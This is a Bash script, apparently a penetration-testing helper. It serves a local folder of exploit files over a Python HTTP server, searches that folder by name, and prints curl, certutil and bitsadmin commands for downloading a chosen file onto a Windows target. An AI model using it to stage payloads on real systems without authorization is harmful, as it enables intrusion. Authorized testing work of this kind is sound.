#!/bin/bash
shopt -s extglob

ip="127.0.0.1"
interface=""
port="8000"
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
search_dirs="$DIR/"

while getopts "p:i:b:d:" opt
do
	case "$opt" in
		#i) interface="$OPTARG";; p) port="$OPTARG";;
		b) ip="$OPTARG";;
		d) search_dirs="$OPTARG";;
	esac
done
shift $((OPTIND -1))

for search_pattern; do true; done
cd $search_dirs

echo "----------EXPLOIT---HOSTING------------"
echo "              $ip:$port"
echo "---------------------------------------"
echo "Finding in: $search_dirs"
echo "---------------------------------------"

ShowLinks() {
	i=0
	_links=( $@ )
	for _link in ${_links[@]}
	do
		echo "[$i] ${_link//{{_\}\}/ }"
		((i=$i+1))
	done
}

SearchExploits() {
	find . -type f -name "*$1*" -exec echo {} \; > "$DIR/.tmp"
}

GetExploitsLinks() {
	_links=( )
	while read -r _link
	do
		_links=( "${_links[@]}" "http://$ip:$port${_link// /{{_\}\}}" ) 	
	done < <(cut -d"." -f 2- "$DIR/.tmp")
	echo -n "${_links[@]}"
}

ViewWindowsTransfer() {
	_link="${1//{{_\}\}/ }"
	echo "----------------Curl------------------"
	echo "curl \"$_link\" -o $(basename $_link)"
	echo ""

	echo "----------------CertUtil--------------"
	echo "certutil -urlcache -split -f \"$_link\" $(basename $_link)"
	echo ""

	echo "----------------Bitsadmin-------------"
	echo "bitsadmin /transfer job \"$_link\" $(basename $_link)"
	echo ""
}

ViewSearchedExploits() {
	SearchExploits "$search_pattern"
	links=($(GetExploitsLinks))
	ShowLinks ${links[@]}
	echo "0-N pick to choose exploit; r [patter] - refind exploits; h - call help window; l - server log;"
}

python3 -m http.server -b "$ip" "$port" 2> log.txt > log.txt &
pid=$!
sleep 1
if ( kill -s 0 "$pid" 2> /dev/null )
then
	echo HTTP Service succesfully started.
else
	echo "Can't start HTTP Server"
	exit 1
fi

KillSubprocess() {
	if ( kill -s 0 "$pid" )
	then
		kill "$pid"
		echo "HTTP Server has stoped."
	fi
	exit 0
}
trap KillSubprocess SIGINT

ViewSearchedExploits
echo -n "H!>"

while read -r index 
do
	((last_index=${#links[@]}-1))
	case "$index" in
		+([0-9]))
			if [[ "last_index" -ge "$index" ]]
			then
				ViewWindowsTransfer ${links[$index]}
			fi;;
		r*)
			search_pattern="${index:1}"
			ViewSearchedExploits;;
		l)
			less log.txt;;
		[qQ]) break;;
		*) echo $index;;
	esac
	echo -n "H!>"		
done

KillSubprocess 
cd - > /dev/null
